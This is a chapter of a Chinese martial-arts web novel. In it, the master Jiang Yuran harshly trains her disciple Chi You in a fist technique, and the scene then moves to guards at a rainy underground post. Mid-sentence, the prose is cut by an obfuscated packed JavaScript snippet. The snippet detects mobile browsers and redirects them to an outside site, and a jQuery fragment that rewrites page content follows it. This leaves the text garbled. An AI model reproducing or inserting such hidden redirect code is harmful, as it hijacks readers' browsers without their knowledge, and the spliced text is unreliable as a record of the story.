25. 第24章

作品:《师父她始乱终弃

    从正堂出来后,一侧立马跟过来了个仆从。


    “姜护法,奴才为您引路。”


    姜欲燃颌首:“有劳。”


    一路走过了园柳,池塘,姜欲燃道:“就到这儿罢,剩下的路我也认得了。”


    仆从道:“那奴才便退下了。”


    姜欲燃一个人慢慢散步,金秋来临,许多树叶已经开始泛黄,这一片多是树木,一阵清风拂过,林间泛起簌簌之声,倒是令人心神放松。


    慢慢地,便到了翠竹轩跟前,姜欲燃进了院子,青茗抬头看过来,笑道:“姜护法回来了?”


    姜欲燃淡淡点头,经过了她身边。


    “池公子来找了您两趟,见您还没回来,便留在这儿等着您,这会儿正在屋里看书呢。”


    姜欲燃脚步一顿,看向她问道:“他有说什么事么?”


    青茗摇摇头:“池公子倒是说没什么要紧事。”


    姜欲燃垂眸片刻,接着往房内走。


    进去了后,她目光一扫,见屋内并没有人,她转头朝茶室望去,竹帘遮挡着的茶室内,有道身形正背对着她坐着。


    姜欲燃无声掀起竹帘进去,走近了一瞧,茶具皆摆在案桌上,杯内剩余的半杯茶已经冷掉,而品茗之人不知何时头一歪,半倚靠在案桌上,睡得正香。


    姜欲燃无语片刻,抬手拿起茶壶给自己倒了一杯。


    轻抿一口,杯中茶水早已冷掉,茶香也已消散,她并无任何遗憾之色,独自站立在茶室内。


    从竹窗看出去,外面竹林在风中不住晃动,竹浪声一阵又一阵。


    池侑是在一阵阵竹浪声中醒来的,他模模糊糊中仿佛看到了一抹淡青色身影站在自己身旁。


    他迷迷糊糊地睁开眼,仔细看去,却发现姜欲燃不知何时站在他身旁,遥望窗外翠竹。


    池侑闭了闭眼,待双目清明后这才支起身子,声音是刚睡醒后的暗哑:


    “师父,你什么时候回来的?”


    姜欲燃淡淡看了他一眼:“你找我何事?”


    池侑重新坐直身体,扭了扭因长时间保持一个姿势而变得酸麻的半边身子,道:


    “也没什么事,就是之前你教我的那套拳法我一直不太明白,想过来请教你一下。”


    “对了师父,你昨晚醉得不轻,现在可好些了?我昨天喝得没你多,但到现在还是有些不舒服,他们这儿的酒倒比金陵那边的更容易醉人。”


    姜欲燃:“他们的酒是专给练武之人喝的,比寻常酒的后劲更大,你是头一次喝,难免有些不适应。”


    池侑恍然大悟:“原来如此,我就是按自己的酒量是不应该的啊。师父,我看你好像一点事儿都没有,是不是因为功力深厚的缘故啊?”


    说着,他脸上又有些激动之色:“既然是专门给练武之人喝的,那我多喝点是不是能让我练武事半功倍啊?”


    “这酒适量喝有益,切莫贪杯。”


    姜欲燃一口饮掉杯中剩余的冷茶,窗外,树欲静而风不止,冷茶从喉中滑过,一路滚落到腹中。


    姜欲燃的目光从窗外收回来,转身离开茶室。


    “既是拳法不能领会,那便出来打给我看看。”


    池侑一愣,随即起身跟着出去:“哦,好。”


    屋外,青茗见池侑出来在竹林下开始打起了拳,而姜欲燃站在一旁指导观看,她稍犹豫了片刻,便悄悄退了出去,把翠竹轩留给了师徒两人。


    池侑使的这套拳法相比刚入门时所学的高深了不少,招式相比之前简洁了许多,但也正因为这份简洁,给人留下许多自我领悟的空间,让人捉摸不透了许多。


    池侑打得拳拳生风,十分认真。


    姜欲燃看了一会儿,冷声道:“力气该收时就收,不要每一拳都用蛮力,你这样练只能算是个莽夫。”


    池侑闻言微微一顿,尝试着把每个招式练得灵活一点。


    只是没过一会儿,姜欲燃眉头一蹙,又道:“沉肩坠肘,重心落稳。”


    池侑便依着姜欲燃的话改进。


    一刻钟过去,一套拳法使完,池侑收势站定,额间细汗微微冒出,他小喘着气,转过身来看向姜欲燃。


    姜欲燃面无表情的看了他半晌,正当他心头有些惴惴不安时,姜欲燃突然道:


    “再使一遍。”


    “啊?哦。”池侑照着她说的,又屈步下蹲,从头再来一遍。


    左脚迈出,转腰拧胯,闯步顶肘。


    以腰带臂,右横击拳,马步横打。


    正当他迈出虚步,准备转身掖锤时,姜欲燃却突然身形一动,脚下足尖直直地踢到池侑的胸膛上。


    池侑完全没反应过来,只觉胸前猛地巨痛,他闷哼一声,整个身体立马被踢翻后仰,狠狠地摔倒在地。


    这一脚实在是没留情,池侑被踢得只觉五脏六腑都移了位,他好容易才缓过来,震惊又茫然的抬头看向姜欲燃。


    姜欲燃居高临下地看着他,冷冷道:“方才便提醒你了,重心不稳的下场就是别人一脚就能要你的命。”


    池侑低头,额间冷汗低落,他咬咬牙,重新爬起来,继续方才未完成的招式。


    只是没过多久,他右拳向外抓变时,姜欲燃快速伸出一只手,只用两指在他手腕间一夹,池侑便觉手腕剧痛,顿时整只手都麻痹了。


    而姜欲燃根本没给他反应的机会,进而抓住他右手手臂,过肩一摔,便让他又和大地来了个亲密接触。


    “起来,用这套拳法打败我。”


    池侑正无声地呲牙咧嘴,听到这话一愣,下意识看向姜欲燃,姜欲燃正冷漠地看他,没有丝毫情感。


    不过呼吸之间,他便立马从地上起来,双手紧握成全,身体微微前倾,呈防御状态。


    少年一身灰扑扑的,汗水蜿蜒过布满尘土的脸庞,留下一道道痕迹,少年较真的瞳孔中,还藏着几分狠厉。


    姜欲燃率先动身,速度极快,下一瞬手掌便已经落到少年面前。


    池侑瞳孔一缩,下意识后退半步,双手格挡,挡下了这一掌,然而下一刻面前的手攸地紧握成拳,变了个方向,朝着他的腹部来了一拳。


    “呃!”


    池侑根本反应不及,只能硬撑着承受了这一拳。


    待他防守时,第三次进攻已经对准了另一处,不过半刻钟没到,池侑就已经鼻青脸肿地爬在地上奄奄一息。


    姜欲燃收手,看着他轻嗤:“这套拳法我教给你已经有段时日了,你就是这种水平么?”


    池侑趴在地上哼哧哼哧地喘着粗气,说不出一句话。


    姜欲燃瞥了他一眼,转身走了。


    “再来。”


    她脚步一顿。


    身后的人费力从地上支起身子,抹了一把脸,沉声道:“师父,再来一遍。”


    姜欲燃转身,看着他。


    少年眼里全是不服输的狠劲:“如果一直是这种状态,有一天真的碰上对手了,我活不过一刻。”


    “师父,我不想死。”


    -


    阴云渐渐密布,遮盖整个天空,雨水渐渐聚集,天空像破了个大洞的布,阴云深处聚集的雨水因此都找到了泄口,争先恐后地涌落下来。


    池上泛起密集的涟漪,一时昏暗的天地间只剩下雨水穿林打叶还有阴风呼呼的声音。


    极致的吵闹,便是极致的寂静。


    刚被雨水滴落的树叶尚未完全落地,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387413|141111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便被一阵凉风席卷,飘飘忽忽地吹走,恍恍惚惚地落到一盏油灯之上。


    本会被灯火焚烧的落叶早已经完全湿透,那豆大的灯火如何能再控制得了它?局势反转,借着风的势,落叶蛮横地把灯芯包裹住,原本跳动不安的豆火拼力挣扎,却还是越来越虚弱,直至熄灭。


    被它照亮了的周围也渐渐归于昏暗的大地,这是一次大雨和秋风的完全胜利。


    “嗐——什么破风,这灯又灭了。”


    一个男人伸过来一只布满厚茧的手,一边低声咒骂,一边把灯盏从灯台上拿下来。


    另一只手从衣服侧袋里掏出了火折子,灯芯这会儿已经被湿淋淋的落叶弄得半湿,且乌风阵阵,试了好几次,仍然没能点燃。


    男人脸上不耐之色更甚:“什么破灯!”


    另一旁的人见此,安慰道:“算了,暗就暗点,反正也快下值了,待会儿让下一班值守的人自己想办法吧。”


    男人闻言,也觉有理,便放弃了点灯的想法,把灯台重新放回去,便又退后几步站着。


    这里虽然淋不到雨,可外面风声呜呜地吹着,时不时便顺着地缝钻进来,直把两人的衣袍吹得猎猎作响。


    “你说这天,昨儿还有些闷热呢,今天这雨一下,竟有些冷了起来。”


    “嗐,这场雨我看得下好一阵,等雨过去,天儿就冷下来了。”


    “唉,你说这大热天的时候,热虽热着,但咱们站在这儿晒不着,也没什么。等以后越来越冷了,那才是造孽呢。”


    男人抱臂搓了搓手,哼声道:“你可知足吧,现在这才哪儿到哪儿?等寒冬时候,堂里那些负责控制水运的兄弟才是真的惨呢,每天泡在水里,下值得时候一个个被冻得又红又肿。”


    另一个男人闻言,也是啧啧叹气:“确实,跟他们比起来,咱们也不算太差了。”


    两人有一句没一句地闲聊,没过多久,石阶之上传来脚步声,不一会儿,便有两个人从上面走下来,在场四人皆穿着统一的藏蓝色衣袍。


    “换值了换值了。”


    原本站守的两个人终于能放松身子了,脚步轻松地和来换值的人打了个照面,收拾收拾东西,便迫不及待地出去了。


    新的两个人活动活动筋骨,便一左一右,继续站守在这里。


    外面天色越来越黑,似乎雨停了,一时只有风的呜呜声。


    灯台上的两盏灯不住地晃动着,带着周围明明暗暗,昏黄看不清。


    忽地从地缝里又强吹来一阵疾风,两盏灯顿时被吹灭了,一时之间周围立马陷入了黑暗。


    “怎么回事?”黑暗中有人在问。


    “灯被吹灭了,等着,我去点上。”


    黑暗中窸窸窣窣的声音响起,另一个人仍站守在原地,静静等着。


    不知何时一阵柔风迎面吹过,丝丝凉凉,风中似乎还夹杂着什么,甚至带着点暖意,轻柔地拂过他的脸庞。


    他怔了怔,下意识抬手摸了摸自己的脸,什么也没有,像是错觉一般。


    “你点好了没有?”


    “马上就好,你急什么。”


    没过多久,烛火重新亮起,周围恢复光明,方才短暂的黑暗消失不见。


    点灯的人回到自己原来的位置,守了没一会儿便目光发散,盯着某处墙壁发呆。


    一旁的人注意到了,忍不住出声提醒:“认真点,别偷懒。”


    “知道了知道了。”他不耐烦地嘀咕。


    声音并不大,可是在空旷的半洞穴式地空间里,还是发出去了一波又一波的回音,更加显得寂静。


    在他们身后不远处,天然形成的石岩背后,不知何时,已无声无息地出现了两个人。